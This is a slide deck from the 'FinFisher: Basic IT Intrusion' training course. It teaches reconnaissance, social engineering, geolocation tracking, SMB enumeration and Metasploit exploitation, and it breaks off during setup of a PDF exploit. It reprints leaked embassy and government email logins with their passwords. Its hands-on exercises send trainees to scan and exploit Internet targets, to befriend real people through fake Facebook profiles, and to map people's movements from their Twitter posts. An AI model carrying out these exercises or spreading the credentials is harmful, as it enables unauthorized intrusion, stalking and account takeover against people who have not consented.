FINFISHER: Basic IT Intrusion 2.0
FinTraining Program
Purpose of this course

• Get an overview of existing up-to-date Tools and Techniques for different scenarios

• Understand the terms and processes of “hacking”

• Understand common attack methods
Out of Scope

• You won’t get a *magic-potion* to break into environments

• You won’t learn how to use automated security scanners
  • but you will understand their functionality

• You won't become an expert on the presented techniques
Requirements

- PC/Notebook running BackTrack 5
- Basic TCP/IP networking knowledge
- Basic Windows and UNIX/Linux knowledge
- Creativity, Intelligence and Motivation(!)
Table of Content – Complete Overview

1. Overview
2. Footprinting
3. Server Intrusion
4. Client-Side Intrusion
5. Wireless Intrusion
6. Wired Intrusion
7. Web Application
8. Miscellaneous Attacks
Table of Content

- Overview
  - History
  - Scene
  - Recent Cases
History

1971

Cap’n Crunch aka. John Draper

Pioneer of Phone Phreaking / Hacking

Whistle out of cereal box emulates 2600Hz (AT&T phone system)

Free Phone calls
History

1983

Movie „War Games“ released

Introduces „Hacking“ to the public

Showing that everyone could possibly break in everywhere
1984

Hacker `Zine „2600“

Followed by „Phrack“ one year later – [http://www.phrack.org](http://www.phrack.org)

Regularly publishes content for hacker and phreaker
History

1988

The Morris Worm

Robert T. Morris, Jr – Son of a NSA scientist

Self-replicating worm in the ARPAnet

6000 UNIX computers of universities and government were infected
1995

Kevin Mitnick arrested - Master of Social Engineering

Hacked into several computer systems (IBM, Nokia, Motorola, Sun, …)

Not allowed to touch computers and phones for years

Wrote two books after release in 1999

• The Art Of Deception
• The Art Of Intrusion
History

1998

Cult of the Dead Cow releases „Back Orifice“

First famous Trojan Horse for Windows System

Full remote system access
2000

Distributed Denial of Service Attacks

Takes down eBay, Amazon, CNN, Yahoo! and others for hours

History

2006

Release of BackTrack

Co-founder is founder of Gamma International GmbH

Hacking for the public

Compilation of most hacking tools in one Linux system

Around 5 Million downloads per release
History

2010

WikiLeaks is publicly and internationally recognized

International non-profit organization that publishes submissions of private, secret and classified media

Sent in by anonymous news sources, news leaks and whistleblowers
Table of Content

- Overview
  - History
  - Scene
  - Recent Cases
Scene – Classification

- **Script-Kiddie:**
  - Beginner, using tools public in the Internet, often malicious, defaces Websites

- **White-Hat:**
  - Professional researchers, Often former Black-Hats

- **Grey-Hat:**
  - Professional researcher, No criminal intent, Improving network and system security

- **Black-Hat:**
  - Professional cyber criminal
Scene – Communication

• Private, encrypted communication
  • Skype
  • Pidgin/Jabber + SSL/TLS
  • Mail (GPG/PGP)
  • Secure IRC / SILC

• Public communication
  • Web-Forums
  • Mailing-Lists (Bugtraq)
  • Blogs
  • Twitter

• Conferences
Scene – Conferences

**DEF CON**

- DEF CON, in Las Vegas, is the biggest hacker convention in the United States held during summer (June-August).

![DEF CON Logo](image)

**Black Hat**

- Black Hat is a series of conferences held annually in different cities around the world.

![Black Hat Logo](image)
Scene – Conferences

Hack in the Box

• Asia's largest network security conference held annually in Kuala Lumpur, Malaysia which is now also organized in Middle East.

Chaos Communication Congress

• It is the oldest- and Europe's largest hacker conference, held by the Chaos Computer Club in Berlin.
Table of Content

- Overview
  - History
  - Scene
  - Recent Cases
Recent Cases

China hacking German Government

Germany Furious Over Chinese Spy Hackers
BERLIN GOVERNMENT COMPUTERS INFECTED WITH ESPIONAGE PROGRAMS

By Heather McPherson | Posted Aug 27, 07 5:52 AM CDT

(NEWSER) – German Chancellor Angela Merkel kicked off her Chinese summit today amid highly charged reports in der Spiegel that the Chinese have been spying on the German government by hacking into computers in several German ministries. Scores of official computers are said to have been infected with spyware concealed in PowerPoint and Microsoft Word programs.

Information was taken daily by hackers under the direction of the Chinese military, redirected via computers in South Korea to disguise their tracks, der Spiegel claims. The spying was discovered in May, but became a political hot potato when it was made public just hours before Merkel left for Beijing.
Recent Cases

Researcher purposefully publishes 100 Government and Embassy E-Mail Accounts

Hacks hit embassy, government e-mail accounts worldwide

Organizations on the list include the foreign ministry of Iran, the Kazakh and Indian embassies in the U.S. and the Russian embassy in Sweden

By Daniel Goldstein and Linus Larson, Computer Sweden: IDGifter

Username and passwords for more than 160 e-mail accounts at embassies and governments worldwide have been posted online. Using the information, anyone can access the accounts that have been compromised.

Computer Sweden has verified the posted information and spoken to the person who posted them. The posted information includes names of the embassies and governments, addresses to e-mail servers, usernames and passwords. Among the organizations on the list are the foreign ministry of Iran, the Kazakh and Indian embassies in the U.S. and the Russian embassy in Sweden.

Frederiksen security consultant Dan Eggersdal posted the information. He spoke openly about the leak when Computer Sweden contacted him.

‘I did an experiment and came across the information by accident,’ he said.

Eggersdal says he never used the information to log in to any of the compromised accounts in order not to break any laws.

Computer Sweden confirmed that the login details for at least one of the accounts is correct. Eggersdal forwarded an e-mail sent on Aug. 20 by an employee at the Swedish royal court to the Russian embassy. The person who sent the e-mail, in which she declines an invitation to the Russian embassy, has confirmed that she sent the e-mail.

Iran Ministry of Foreign Affairs 217.172.99.19 bagheri@nfa.gov.ir amir1368
Kazakhstan Embassy in Italy 213.211.59.23 kazakhstan_emb@agora.it rfywkh
Kazakhstan Embassy in Egypt 213.131.64.229 kazaemb@piramid
Kyrgyzstan Embassy in Iran 212.42.96.15 embiran_asd@gh
Kyrgyzstan Embassy in Kazakhstan 212.42.96.15 kaz_emb@W34#eEDd
Indian Embassy in Italy 213.34.224.157 m0006614 srpq@65m
Indian Embassy in Belgium 212.100.160.114 commercial@indembassy.be indio01
Mongolian Embassy in USA 209.213.221.249 esyan@mongolianembassy.us temp
Mongolian Embassy in USA 209.213.221.249 j.mende@mongolianembassy.us temp
Mongolian Embassy in USA 209.213.221.249 n.tumenbayar@mongolianembassy.us temp
UK Visa Application Centre in Nepal 208.109.119.54 vfsuknepal@vfs-uk-np.com Password
Kazakhstan Embassy in Japan 203.216.5.113 embkaz@npf513LeG
India National Defence Academy 203.199.162.245 mis misadmin
Hong Kong Human Rights Monitor 203.161.134.183 po@hchr.org.hk T5a*4V#K
Recent Cases

Website Defacements

**FBI Jobs site gets hacked**
10/09/2009 Written by Marcelo Almeida (Vymal)

"The FBI (Federal Bureau of Investigation) is seeking a senior security consultant for a permanent position." This is probably the next job offer that will appear on the FBI job site (fbiJobs.gov) as they got defaced yesterday.

A Turkish crew, known as turkguvenligi.info, managed to exploit a SQL injection flaw and insert a record that redirected the "events" page to an image with their site name.

If you'd like to check other attacks from turkguvenligi.info click here.

Here is the screenshot of the defacement:

Here is the mirror of the fbiJobs.gov defacement
Recent Cases

Website Defacements

Twitter Hacked, Defaced By "Iranian Cyber Army"
by Michael Arrington on Dec 17, 2009

801 Comments  Like 2,851  Buzz 1 retweet 4153

[Image of defaced Twitter page with Iranian flag and hacking message]

© GAMMAGROUP
Recent Cases

Website Defacements

<table>
<thead>
<tr>
<th>Attacks by month</th>
<th>Year 2008</th>
<th>Year 2009</th>
<th>Year 2010</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jan</td>
<td>18.562</td>
<td>37.968</td>
<td>53.921</td>
</tr>
<tr>
<td>Feb</td>
<td>51.925</td>
<td>2.919</td>
<td>57.869</td>
</tr>
<tr>
<td>Mar</td>
<td>48.138</td>
<td>7</td>
<td>73.715</td>
</tr>
<tr>
<td>Apr</td>
<td>41.492</td>
<td>60.471</td>
<td>95.090</td>
</tr>
<tr>
<td>May</td>
<td>29.017</td>
<td>48.087</td>
<td></td>
</tr>
<tr>
<td>Jun</td>
<td>38.445</td>
<td>43.569</td>
<td></td>
</tr>
<tr>
<td>Jul</td>
<td>39.549</td>
<td>45.480</td>
<td></td>
</tr>
<tr>
<td>Aug</td>
<td>74.121</td>
<td>83.850</td>
<td></td>
</tr>
<tr>
<td>Sep</td>
<td>42.379</td>
<td>74.384</td>
<td></td>
</tr>
<tr>
<td>Oct</td>
<td>54.971</td>
<td>54.462</td>
<td></td>
</tr>
<tr>
<td>Nov</td>
<td>44.486</td>
<td>43.177</td>
<td></td>
</tr>
<tr>
<td>Dec</td>
<td>34.374</td>
<td>50.035</td>
<td></td>
</tr>
</tbody>
</table>

Source:

- http://www.zone-h.org/stats/ymd
Recent Cases

Massive DDoS attacks target Estonia; Russia accused

By Nala Anderson | Last updated May 14, 2007 8:45 AM

Cyber-warfare on an unprecedented scale has hammered Estonian web sites for the last two weeks in the aftermath of the government's controversial decision to relocate a Soviet-era war monument from the center of Tallinn to the suburbs. Two days of rioting by ethnic Russians, who saw this as an attack on their heritage and on minority rights, quickly transitioned from the real to the virtual world, as government web sites came under DDoS attacks so severe that many remained offline for days.

Georgia President's web site under DDoS attack from Russian hackers

By Dancho Danchev | July 22, 2008, 8:43pm PDT

Summary

From Russia with (political) love? It appears so according to a deeper analysis of the command and control servers used by the attackers. During the weekend, Georgia President’s web site was under a distributed denial of service attack which managed to take it offline for a couple of hours. The event took place in a moment of real life tensions between Russia and Georgia, with Russia clearly demonstrating its position against Georgia’s pro-Western government. Shadowserver’s comments, which originally picked up the attack first:
Stuxnet malware is 'weapon' out to destroy... Iran's Bushehr nuclear plant?

The Stuxnet malware has infiltrated industrial computer systems worldwide. Now, cyber security sleuths say it's a search-and-destroy weapon to may be after Iran's Bushehr nuclear power plant.

23 September 2010 Last updated at 10:46 GMT

Stuxnet worm 'targeted high-value Iranian assets'

By Jonathan Fildes
Technology reporter, BBC News

One of the most sophisticated pieces of malware ever detected was probably targeting "high value" infrastructure in Iran, experts have told the BBC.

Stuxnet's complexity suggests it could only have been written by a "nation state", some researchers have claimed.

It is believed to be the first-known worm designed to target real-world infrastructure such as power stations, water plants and industrial units.

Some have speculated the intended target was Iran's nuclear power plant.
Table of Content – Complete Overview

1. Overview
2. Footprinting
3. Server Intrusion
4. Client-Side Intrusion
5. Wireless Intrusion
6. Wired Intrusion
7. Web Application
8. Miscellaneous Attacks
Table of Content

• Footprinting
  • Information Gathering
  • Social Engineering
  • Social Networks
  • Geolocation
Information Gathering

- Target profiling
- Allows to construct an attack strategy
- Passive information collection without directly accessing the target
- Professional research
Information Gathering – Search Engines

- Google
  - No explanation needed. 😊
Information Gathering – Search Engines

- www.netcraft.com - List of web servers and software
  - Including History of changes
Information Gathering – Search Engines

- www.archive.org - Different snapshot copies of websites
  - Discover progress of the website
  - Old services and test systems are often still running
  - Retired / Fired company employees
Information Gathering – Search Engines

- www.zone-h.org - Digital Attacks Archive
  - Information of documented / public attacks
  - Get connected with former, successful hackers
Information Gathering – Whois Records

- www.domaintools.com – Domain Archive
  - Looks up historical ownership of a website
  - Gives registrar information for a domain + screenshot
Information Gathering – Maltego

- Maltego
  - Data mining and information gathering tool
  - Identify key relationships between information and find unknown relationships
  - Gives an easy overview about the results
Information Gathering – Hands-On

Hands-On:

Image source: www.zar-x.de
Information Gathering – Hands-On

Hands-On:

• Choose any local target
• Check target on all Search Engines

• Register Account at Maltego
• Use Maltego to gather information about the local target
  • E-Mails
  • Persons
Table of Content

• Footprinting
  • Information Gathering
  • Social Engineering
  • Social Networks
  • Geolocation
Social Engineering

Social engineering uses influence and persuasion to deceive people by convincing them that the social engineer is someone he is not, or by manipulation.

(Kevin D. Mitnick)

- Non-technical kind of intrusion that relies heavily on human interaction
- Often involves tricking other people to break normal security procedures
- Peoples inability to keep up with a culture that relies heavily on information technology
Example 1:

Sarah Palin duped by prank call

US vice-presidential hopeful Sarah Palin has become the victim of a prank phone call by a Canadian comedian posing as the French president.

Marc Antoine Audette convinced Alaska's governor she was speaking to Nicolas Sarkozy during a six-minute chat aired on a Montreal radio programme.

Topics discussed ranged from the beauty of Mr Sarkozy's wife, Carla Bruni, to the prospect of a joint hunting trip.

A spokesperson for Mrs Palin said she was "mildly amused" by the prank.

At one point during the phone call, aired three days before the US election, Mr Audette told Mrs Palin he could see her as president one day.

Laughingly, the Republican candidate replied: "Maybe in eight years."

Masked Avengers

Mr Audette said he would be keen to join her on a helicopter hunting trip.

"I just love killing those animals. Mmm, mmm, take away life, that is so fun," he said in an exaggerated French accent.

"I'd really love to go, so long as we don't bring along Vice-President [Dick] Cheney," he said.

In 2006, Mr Cheney infamously shot and injured a hunting partner.
Example 2:

**Oracle chief defends Microsoft snooping**

_by Wylie Wong, CNET News.com, CNET on June 29, 2000_

**Summary**

Oracle chief executive Larry Ellison yesterday defended his company's decision to hire detectives to investigate two research groups that supported Microsoft during the antitrust trial. Oracle hired Investigative Group International to probe two research organizations, the Independence Institute and the National Taxpayers Union. The company sought to verify links between Microsoft and the organizations during its antitrust trial—and even tried to buy trash from another research group with close ties to Microsoft.

Oracle told Bloomberg News yesterday it discovered that the two organizations were misrepresenting themselves as independent advocacy groups when they were in fact funded by Microsoft. Oracle said the company hired the detective agency because the organizations were releasing studies supporting Microsoft during the antitrust trial. The financial ties between the organizations were reported by the Wall Street Journal and the Washington Post.

"It's absolutely true we set out to expose Microsoft's covert activities," Oracle chief executive Ellison said yesterday during a press conference at Oracle's headquarters in Redwood Shores, Calif., in which the company announced new software products. "I feel very good about what we did."

Ellison said the two research organizations made it appear that it would be best for American taxpayers if Microsoft won the antitrust trial. The judge in the case has since ruled that Microsoft be broken in two, a decision being appealed by Microsoft.

"They were bogus polls that said, 'If anything hurts Microsoft, our country will really suffer.' These experts were bought and paid for by Microsoft, by two taxpayers, Bill Gates and Steve Ballmer," Ellison said, referring to Microsoft's top executives. "They said what Microsoft wanted them to say."

Ellison said he was not aware that Oracle had hired the detective agency to snoop on Microsoft and its relationship with the two organizations.
Social Engineering

Example 3:

Koobface Worm to Users: Be My Facebook Friend

By Gregg Keizer, Computerworld | Mar 3, 2009 7:58 pm

A worm that hit Facebook last December has resurfaced, a security researcher said today, and is now hijacking user accounts — not only for that social networking site, but also for MySpace, Friendster, LiveJournal and others.

The Koobface worm is again making the rounds on Facebook, said Jamz Yaneza, a research project manager with Trend Micro Inc. “But this is an improved version with some interesting functions,” he said.

Like the variant that hit Facebook late last year, the newest Koobface tries to dupe users into clicking on a link that’s included in a message from a friend. Clicking on the link displays a fake error message claiming that Adobe System Inc.’s Flash is out of date, and prompts the user to download an update.

The update is nothing of the sort, but is instead an executable file that installs the Koobface worm.

“Koobface 2.0” as Trend pegged the worm, sniffs out browser cookies associated with 10 different social networking sites, uses the usernames and passwords within those cookies to log on to each service, searches for the infected user’s friends, and then sends them those people messages that include a link to the worm.

It looks for cookies connected to bebo.com, Facebook, Friendster, furar.com, h5.com, LiveJournal, MySpace, Myspace, Yearbook, Ketchup and Tagged.

Much of the message processing takes place on a remote server, said Yaneza, which the hackers control. That server communicates with each infected PC, receiving data and sending instructions. “This is pretty serious stuff,” Yaneza said.

Trend Micro has identified more than 300 Internet protocol (IP) addresses hosting the worm, and although some have been blocked, others are still online. Those addresses are located in Asia, Yaneza said.

“This is maybe only in its early stages,” he added, referring to the small but growing number of infections. “I’d call it fairly active at the moment.”
Social Engineering

Example 4:

Table of Content

- Footprinting
  - Information Gathering
  - Social Engineering
  - Social Networks
  - Geolocation
Social Networks

- Lots of different online communities
- Used for business and private life
- Messages on them are more and more alternative to E-Mails
- Information:
  - Personal Facts
  - Friends (and friends of friends)
  - Interests
  - Activities
  - Photos
- Hundred of millions people around the globe use them
- Popular community differ between countries
Social Networks

- **Facebook**
  - Social Network for everybody
  - 750 Million active users (July 2011)

- **Twitter**
  - Microblogging network
  - 200 Million active users (March 2011)

- **LinkedIn**
  - Business-orientated network
  - 100 Million registered users (March 2011)
Social Networks – Hands-On

Hands-On:

Image source: www.zar-x.de
Social Networks – Hands-On

Hands-On:

• Profiling a human target with previous methods

• Creating a fake account on Facebook

• Fill in a lot of realistic information (Picture, Interests, Groups, ...)

• Choose the regional, human target

• Try to add your target to your friends and many friends around your target

• Gather personal information about the target
Table of Content

- Footprinting
  - Information Gathering
  - Social Engineering
  - Social Networks
  - Geolocation
Geolocation

- Geotagged Photos
  - Most smartphones (e.g. iPhone & Android Devices) have in-built GPS and save location to photos
  - People upload pictures to Social Networks

- Geolocation Services
  - People show their location on Social Networks to their friends
  - Foursquare
  - Twitter
  - Facebook

- Location saved on Smartphones & Tablets
  - iPad / iPhone
  - Android
Geolocation

Geotagged Photos

- GPS coordinates are within images and can be extracted!
- Tool called **exiftool** can be used to extract Metadata from images

- Example

  `exiftool -c "%d %d %.8f" ~/image.jpg`

  - To get a proper GPS coordinates format

    `-c "%d %d %.8f"`
Geolocation

Geotagged Photos

• Example Facebook Photo
Geolocation

Geotagged Photos

• “GPS Position” field can be pasted to Google Maps for Location
• Example Facebook Photo → Google Maps
Geolocation – Hands-On

Hands-On:
Geolocation – Hands-On

Hands-On:

• Choose Facebook friends and analyze a few images

• Geolocation shown within pictures?

• Geolocation found on Google Maps?
Geolocation

Geolocation services

- Many Websites offer to “upload” your location
- Used for “Friend finding”
- Used on Social Networks
  - Twitter
  - Facebook
Geolocation services

- Most famous and very popular – Foursquare
  - [http://www.foursquare.com](http://www.foursquare.com)
  - Connect with friends and share your location
  - Can send these information directly to Twitter/Facebook account of a person
  - Applications for iPhone, iPad, Android, etc.
Geolocation

Geolocation services

• Example: Foursquare & Facebook

• Example: Foursquare & Twitter
Geolocation services

- Extraction can be automated
- Tool called creepy can be used
  - A Geolocation Information Aggregator
- Can automatically search through
  - Foursquare
  - Twitter
  - Flickr
  - and many more
- Facebook support is planned!
Geolocation

Geolocation services

- Example Twitter Extraction
  - Location moving profile through timeline
  - Hotspots
Geolocation – Hands-On

Hands-On:

Image source: www.zar-x.de
Geolocation – Hands-On

Hands-On:

• Download & Install creepy
  • aptitude install creepy

• Get familiar with the GUI

• Choose local Twitter Accounts

• Run creepy against several Targets (Can take a while)

• Geolocation shown within Twitter Account?

• Does the Target has main spots?
Geolocation

Location saved on Smartphones

- Many Smartphones save GPS / GSM information on their Smartphones

- **Android** has `cache.cell` & `cache.wifi`
  - Extraction with android-locdump (root access required)
  - [https://github.com/packetlss/android-locdump](https://github.com/packetlss/android-locdump)

- "**LocationGate**" – iPhone / iPad have `consolidated.db`
  - Backup of this file is saved on computer via iTunes
  - Extraction with iPhoneTracker
  - [http://petewarden.github.com/iPhoneTracker/](http://petewarden.github.com/iPhoneTracker/)
Geolocation

Location saved on Smartphones

- iPad / iPhone Example
1. Overview
2. Footprinting
3. Server Intrusion
4. Client-Side Intrusion
5. Wireless Intrusion
6. Wired Intrusion
7. Web Application
8. Miscellaneous Attacks
Table of Content

- Server Intrusion
  - Linux Basics
  - Scanning
  - Enumeration
  - Exploit Usage
Linux Basics

• Initial Kernel release in 1991 by Linus Torvalds

• Today market share
  • Server: 30% - 40%
  • Desktops: 2% - 5%

• Famous Linux Distributions:
  • Server: Debian
  • Desktop: Ubuntu & Fedora

• Almost full hardware support these days
• Linux Directory Structure (the most important directories)

/ Top-Level Directory
/boot Startup files and Kernel
/etc System and Software configuration files
/home User directories
/mnt Mount point for external devices
/root Home directory of root user
/tmp Temporary files / cleaned upon reboot
/var Storage for all variable files and temporary files (e.g. logs)
/pentest BackTrack / FinTrack added software
Linux Basics

• Super User Rights
  • \textit{sudo command}

• Changing Directories
  • \textit{cd /pentest/}

• Rename & Move File
  • \textit{mv oldfile.txt newfile.txt}

• Edit & Read (Configuration File) with Graphical Text Editor
  • \textit{gedit /etc/passwd}

• Show latest Entries (of Logfile)
  • \textit{tail –f /var/log/messages}

• Show Network Configuration
  • \textit{ifconfig}
Linux Basics

• Remove Files
  • \texttt{rm \textit{filename}}

• Remove Directories
  • \texttt{rm \textit{–r directoryname}}

• Copy File
  • \texttt{cp \textit{file.cfg\_template file.cfg}}

• Show content of file
  • \texttt{cat /etc/passwd}

• Create an empty file
  • \texttt{touch myfile}
Advanced Shell Usage

`command1 > outputfile`  Redirect output of `command1` to file

e.g.: `ls /etc/ > /root/Desktop/etcfile.txt`

`command1 | command2`  Pipe Output of `command1` to `command2`

e.g.: `echo test | md5sum`

`command1 && command2`  Start `command2` after `command1` is finished

e.g.: `./configure && make`
Hands-On:
Linux Basics

Hands-On:

- Create a file in your *Home* directory
- Fill the file with any content
- Copy the file to */tmp*
- Change to directory */tmp*
- Remove the file in */tmp*
- Pipe the input of the file in your Home directory into a file on the Desktop
- Remove both files with only one line in the command shell
# Table of Content

- **Server Intrusion**
  - Linux Basics
  - Scanning
  - Enumeration
  - Exploit Usage
What is network scanning?

- Host Discovery
- Port Scanning
- Version Detection
- OS Detection
- Generate a detailed network plan
Scanning

Nmap (Network MAPper)

• Initial Release was 1997
• Most famous network scanner in the world
• Was extended using it’s own scripting language
• Very accurate Operating System and Service Detection
• Runs on multiple systems (Windows, Linux, MacOS, UNIX, *BSD, ...)

![Nmap Command Output](image-url)
Scanning

Graphical Frontend – Zenmap

• With Profile Editor
Scanning

Important Commands

- \( -sV \)
  
  Performing a version detection on open ports

- \( -O \)
  
  Performing Operating system detection (needs root privileges)

- \( -sC \)
  
  Uses internal scripts for enumeration

- \( -Pn \)
  
  Ignores if ICMP replies are not sent (so hosts will be scanned even if “offline”)
Example output for www.microsoft.com

```
Scanning

OS: Windows

Scan Target: www.microsoft.com

Scanning Example output for www.microsoft.com
```

---

**Warning:** OSScan results may be unreliable because we could not find at least 1 open and 1 closed port.

**OS Fingerprint not ideal because:** Missing a closed TCP port so results incomplete.
Example output for Test Windows XP

```
Starting Nmap 5.31 ( http://nmap.org ) at 2011-05-01 13:49 GST
Nmap scan report for 192.168.1.106
Host is up (0.00035s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
MAC Address: 00:0c:29:0f:ea:50 (VMware)
Device Type: general purpose
Running: Microsoft Windows XP
OS details: Microsoft Windows XP SP2 or SP3
Network Distance: 1 hop
Service Info: OS: Windows

Host script results:
| nbtstat: NetBIOS name: FFDemo, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:0f:ea:50 (VMware) |
| smb2-enabled: Server doesn't support SMBv2 protocol |
| smb-os-discovery: |
| OS: Windows XP (Windows 2000 LAN Manager) |
| Name: WORKGROUP/FFDEMO |
| System time: 2011-05-01 13:49:54 UTC+2 |

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 9.99 seconds
```
Scanning

Results?

- What kind of information did we get for each target?
- Which services are running?
- Which open ports are running?
Scanning

Hands-On:

Image source: www.zar-x.de
Scanning

Hands-On:

- Start **Zenmap**
- Scan Target within LAN
- Play with the Options from the Profile Wizard
- How do the results differ?
- Choose regional target
- Any interesting information?
Table of Content

- Server Intrusion
  - Linux Basics
  - Scanning
  - Enumeration
  - Exploit Usage
Enumeration can retrieve:

- Anonymous Access
- Default Credentials
- Default Access Rights
- User names
- Shares
- Services of networked computers
Enumeration

Using Enumeration on our LAN target

• Target has Network shares

• How to get information about them?

• Zenmap can be used!

• Zenmap has integrated scripts for Enumeration in
  • ./scripts/smb-enum*.nse

• Command example:
  • nmap -p U:137,T:139 --script smb-enum-* 192.168.1.106
Enumeration

Zenmap Output:

```
Enumeration

Zenmap Output:

Starting Nmap 5.00 ( http://nmap.org ) at 2010-07-15 15:32 GST
Interesting ports on 192.168.1.106:
PORT    STATE SERVICE
139/tcp  open  methios-ssn
MAC Address: 00:0C:29:60:73:A0 (VMware)

Host script results:
Smb-enum-shares:
Anonymous shares: IPCs
Restricted shares: Public, C, Secrets, ADMINS, CS
Smb enum services:
SNMP SERVER/Admin, SNMP SERVER/Administrator, SNMP SERVER/SPNET, SNMP SERVER/Guest, SNMP SERVER/HelpAssistant, SNMP SERVER/PingServicesGroup, SNMP SERVER/USB M1, SNMP SERVER/IVAM M1, SNMP SERVER/None, SNMP SERVER/SUPPORT 388945a0
smb enum sessions:
| Users logged in:
| | SNMP SERVER/Admin since <unknown>
| | Active SMB Sessions:
| | | GUEST is connected from NMAP for [just logged in, it’s probably you], idle for [not idle]

Nmap done: 1 IP address (1 host up) scanned in 1.48 seconds
```
Successful Enumeration on our LAN target

- Network Shares are known
- Access needed!
- **SMB4K**
  - Scanning for (active) workgroups, hosts, and shares
  - Mount and Unmount of remote shares, including unmounting all shares at once
  - Access to the files of a mounted share using a file manager or terminal
  - Default login
Enumeration

SMB4K Main Interface – Mount Dialog

- Share = //HOST/SHARE (see Zenmap results)
Enumeration

After Mounting the share can be accessed

- Maybe no _write_ but _read_ rights given
Enumeration

Hands-On:
Enumeration

Hands-On:

• Start Zenmap

• Choose target within LAN

• Enumerate shares

• Install SMB4K
  
  • aptitude install smb4k

• Start SMB4K

• Try mounting all enumerated shares

• Which user-rights are given? Read? Write? Read & Write?
Table of Content

- Server Intrusion
  - Linux Basics
  - Scanning
  - Enumeration
  - Exploit Usage
Exploit Usage

What is an Exploit?

- Piece of software
- Takes advantage of a software bug or software vulnerability
- Extend user rights
- To get access to a remote system
- For different Applications, Platforms and Services

- Public Exploits
- Private Exploits (Zero Day / 0-day)
Exploit Usage

- Zenmap can be used for SMB Vulnerability Scanning
- Zenmap has integrated scripts for SMB Vulnerability Scanning in
  - ./scripts/smb-check-vulns.nse
- Command example:
Exploit Usage

- **Zenmap** found SMB Vulnerability!

- **Microsoft Security Bulletin: MS08-067**
  - [http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx](http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx)
Exploit Usage

Hands-On:

Image source: www.zar-x.de
Exploit Usage

Hands-On:

- Start Zenmap
- Choose target within LAN
- Use SMB Vulnerability Scanning with Target
- Repeat the same with Internet Target where SMB is enabled
Exploit Usage

Where to find:

- Different Websites
  - SecurityFocus  http://www.securityfocus.com/
  - Packet Storm  http://www.packetstormsecurity.org/
  - Exploit Database  http://www.exploit-db.com/

- Integrated in automated scanners
  - Nessus  http://www.nessus.org/
  - Core Impact (commercial)

- Integrated in Exploit Frameworks
  - Metasploit  http://www.metasploit.com/
Exploit Usage

Metasploit:

- Exploit Database
- Payload Database
- Auxiliary Database
- Powerful Post-Exploitation modules
- Powerful GUI via Armitage
Exploit Usage

Metasploit:

- Updating Database (can take a while)
  - cd /pentest/exploits/framework3/ && ./msfupdate
Exploit Usage

Metasploit – Starting Armitage

1. Type `armitage` inside a terminal

2. Select “Start MSF”
Exploit Usage

Armitage – The GUI
Exploit Usage

Hands-On:

Image source: www.zar-x.de
Exploit Usage

Hands-On:

• Start Armitage

• Get familiar with the GUI

• Get familiar with the difference of
  • Exploits
  • Auxiliaries
  • Payloads
  • Post Exploitation
Exploit Usage

Metasploit – Searching for our Vulnerability

1. Search Bar – Type in keyword

2. Results
Exploit Usage

Metasploit – Description & Required Options

1. Description
2. (Required) Options
3. Connection Type

![Detailed screenshot of Metasploit options and settings]

Description:
This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the server service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is
Exploit Usage

Metasploit – Required Options

• RHOST = Defining Remote Host
• RPORT = Defining Remote Port
• LHOST = Local Host (Reverse Connect needs to know where to connect to)
• LPORT = Local Port (Reverse Connect also needs to know which port to connect to)
• ... and further default options
Exploit Usage

Metasploit – Launching Exploit

1. Target System will be shown (including Operating System, IP address, Hostname and system account)
2. Session opened (Meterpreter – will go into this later)
Exploit Usage

Metasploit – System Access

1. Change Directory to Desktop
2. Create File on Desktop
Exploit Usage

Metasploit – Target System – Desktop
Exploit Usage

Hands-On:
Exploit Usage

Hands-On:

- Start Metasploit – Armitage
- Search for Exploit
- Choose Network Target
- Exploit SMB Service
- Create file on Desktop
<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1.</td>
<td>Overview</td>
</tr>
<tr>
<td>2.</td>
<td>Footprinting</td>
</tr>
<tr>
<td>3.</td>
<td>Server Intrusion</td>
</tr>
<tr>
<td>4.</td>
<td>Client-Side Intrusion</td>
</tr>
<tr>
<td>5.</td>
<td>Wireless Intrusion</td>
</tr>
<tr>
<td>6.</td>
<td>Wired Intrusion</td>
</tr>
<tr>
<td>7.</td>
<td>Web Application</td>
</tr>
<tr>
<td>8.</td>
<td>Miscellaneous Attacks</td>
</tr>
</tbody>
</table>
Table of Content

- Client-Side Intrusion
  - Overview
  - PDF File
  - Video File
  - Browser
  - DLL Hijacking
Client-Side Intrusion – Overview

• Take advantage of vulnerabilities in client software such as:
  • PDF Reader (e.g. Acrobat Reader, FoxIT PDF Reader)
  • Media Player (e.g. VLC)
  • Web-Browser (e.g. Internet Explorer, Firefox, etc.)

• Exploit vulnerabilities in system-wide libraries used by client applications

• Often limited in time as application vendors fix bugs normally quite

• Software often has integrated auto-updates
# Table of Content

- **Client-Side Intrusion**
  - Overview
  - PDF File
  - Video File
  - Browser
  - DLL Hijacking
Client-Side Intrusion – PDF File

- Adobe Acrobat Bundled LibTIFF Integer Overflow
  - Working on 8.0 through 8.2
  - Working on 9.0 through 9.3
  - Working on ALL platforms
- Full administrative rights
- Found in February 2010 – took almost 6 months to fix
- References:
  - [http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0188](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0188)
Exploit Usage

Metasploit:

- Starting the Metasploit Framework from the Console

```
msf >
```
Client-Side Intrusion – PDF File

- Metasploit – Choose Client Side Exploit

```
msf > use exploit/windows/fileformat/adobe_libtiff
msf exploit(adobe_libtiff) > info

Name: Adobe Acrobat Bundled LibTIFF Integer Overflow
Version: 10477
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good

Provided by:
Microsoft
villy <villys777@gmail.com>
jduck <jduck@metasploit.com>

Available targets:
  Id Name
  0 Adobe Reader 9.3.0 on Windows XP SP3 English (w/DEP bypass)

Basic options:
  Name Current Setting Required Description
  FILENAME msf.pdf yes The file name.
